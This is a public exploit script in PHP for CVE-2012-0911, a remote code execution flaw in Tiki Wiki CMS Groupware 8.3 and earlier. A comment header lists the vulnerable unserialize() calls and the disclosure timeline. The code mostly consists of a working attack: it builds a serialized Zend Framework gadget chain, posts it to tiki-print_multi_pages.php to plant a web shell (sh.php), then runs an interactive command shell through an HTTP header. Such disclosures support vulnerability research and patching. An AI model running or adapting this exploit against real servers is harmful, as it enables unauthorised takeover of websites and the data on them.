Tiki Wiki CMS Groupware <= 8.3 "unserialize()" PHP Code Execution

&#60;?php /* ----------------------------------------------------------------- Tiki Wiki CMS Groupware &#60;= 8.3 &#34;unserialize()&#34; PHP Code Execution ----------------------------------------------------------------- author...........: Egidio Romano aka EgiX mail.............: n0b0d13s[at]gmail[dot]com software link....: http://info.tiki.org/ +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] Vulnerable code in different locations: lib/banners/bannerlib.php:28: $views = unserialize($_COOKIE[$cookieName]); lib/banners/bannerlib.php:136: $views = unserialize($_COOKIE[$cookieName]); tiki-print_multi_pages.php:19: $printpages = unserialize(urldecode($_REQUEST[&#39;printpages&#39;])); tiki-print_multi_pages.php:24: $printstructures = unserialize(urldecode($_REQUEST[&#39;printstructures&#39;])); tiki-print_pages.php:31: $printpages = unserialize(urldecode($_REQUEST[&#34;printpages&#34;])); tiki-print_pages.php:32: $printstructures = unserialize(urldecode($_REQUEST[&#39;printstructures&#39;])); tiki-send_objects.php:42: $sendpages = unserialize(urldecode($_REQUEST[&#39;sendpages&#39;])); tiki-send_objects.php:48: $sendstructures = unserialize(urldecode($_REQUEST[&#39;sendstructures&#39;])); tiki-send_objects.php:54: $sendarticles = unserialize(urldecode($_REQUEST[&#39;sendarticles&#39;])); The vulnerability is caused due to all these scripts using &#34;unserialize()&#34; with user controlled input. This can lead to execution of arbitrary PHP code passing an ad-hoc Zend Framework serialized object. [-] Full path disclosure at: http://[host]/[path]/admin/include_calendar.php http://[host]/[path]/tiki-rss_error.php http://[host]/[path]/tiki-watershed_service.php [-] Disclosure timeline: [11/01/2012] - Vulnerability discovered [14/01/2012] - Issue reported to security(at)tikiwiki.org [14/01/2012] - New ticket opened: http://dev.tiki.org/item4109 [23/01/2012] - CVE number requested [23/01/2012] - Assigned CVE-2012-0911 [01/05/2012] - Version 8.4 released: http://info.tiki.org/article191-Tiki-Releases-8-4 [04/07/2012] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set(&#34;default_socket_timeout&#34;, 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die(&#34;\n[-] No response from {$host}:80\n&#34;); fputs($sock, $packet); return stream_get_contents($sock); } function get_path() { global $host, $path; $packet = &#34;GET {$path}tiki-rss_error.php HTTP/1.0\r\n&#34;; $packet .= &#34;Host: {$host}\r\n&#34;; $packet .= &#34;Connection: close\r\n\r\n&#34;; if (!preg_match(&#39;/in &#60;b&#62;(.*)tiki-rss/&#39;, http_send($host, $packet), $m)) die(&#34;\n[-] Path not found!\n&#34;); return $m[1]; } print &#34;\n+----------------------------------------------------------------------+&#34;; print &#34;\n| Tiki Wiki CMS Groupware &#60;= 8.3 Remote Code Execution Exploit by EgiX |&#34;; print &#34;\n+----------------------------------------------------------------------+\n&#34;; if ($argc &#60; 3) { print &#34;\nUsage......: php $argv[0] &#60;host&#62; &#60;path&#62;\n&#34;; print &#34;\nExample....: php $argv[0] localhost /&#34;; print &#34;\nExample....: php $argv[0] localhost /tiki/\n&#34;; die(); } list($host, $path) = array($argv[1], $argv[2]); $f_path = get_path(); print &#34;\n[-] Path disclosure: {$f_path}\n&#34;; class Zend_Search_Lucene_Index_FieldInfo { public $name = &#39;&#60;?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD])); die; ?&#62;&#39;; } class Zend_Search_Lucene_Storage_Directory_Filesystem { protected $_dirPath = null; public function __construct($path) { $this-&#62;_dirPath = $path; } } interface Zend_Pdf_ElementFactory_Interface {} class Zend_Search_Lucene_Index_SegmentWriter_StreamWriter implements Zend_Pdf_ElementFactory_Interface { protected $_docCount = 1; protected $_name = &#39;foo&#39;; protected $_directory; protected $_fields; protected $_files; public function __construct($directory, $fields) { $this-&#62;_directory = $directory; $this-&#62;_fields = array($fields); $this-&#62;_files = new stdClass; } } class Zend_Pdf_ElementFactory_Proxy { private $_factory; public function __construct(Zend_Pdf_ElementFactory_Interface $factory) { $this-&#62;_factory = $factory; } } // http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf $directory = new Zend_Search_Lucene_Storage_Directory_Filesystem($f_path.&#34;sh.php\0&#34;); $__factory = new Zend_Search_Lucene_Index_SegmentWriter_StreamWriter($directory, new Zend_Search_Lucene_Index_FieldInfo); $____proxy = new Zend_Pdf_ElementFactory_Proxy($__factory); $payload = urlencode(serialize($____proxy)); $payload = str_replace(&#39;%00&#39;, &#39;%2500&#39;, $payload); $payload = &#34;printpages={$payload}&#34;; $packet = &#34;POST {$path}tiki-print_multi_pages.php HTTP/1.0\r\n&#34;; $packet .= &#34;Host: {$host}\r\n&#34;; $packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;; $packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;; $packet .= &#34;Connection: close\r\n\r\n{$payload}&#34;; if (preg_match(&#39;/multiprint/&#39;, http_send($host, $packet))) die(&#34;[-] Multi-print feature disabled!\n&#34;); $packet = &#34;GET {$path}sh.php HTTP/1.0\r\n&#34;; $packet .= &#34;Host: {$host}\r\n&#34;; $packet .= &#34;Cmd: %s\r\n&#34;; $packet .= &#34;Connection: close\r\n\r\n&#34;; while(1) { print &#34;\ntiki-shell# &#34;; if (($cmd = trim(fgets(STDIN))) == &#34;exit&#34;) break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match(&#39;/___(.*)/s&#39;, $response, $m) ? print $m[1] : die(&#34;\n[-] Exploit failed!\n&#34;); }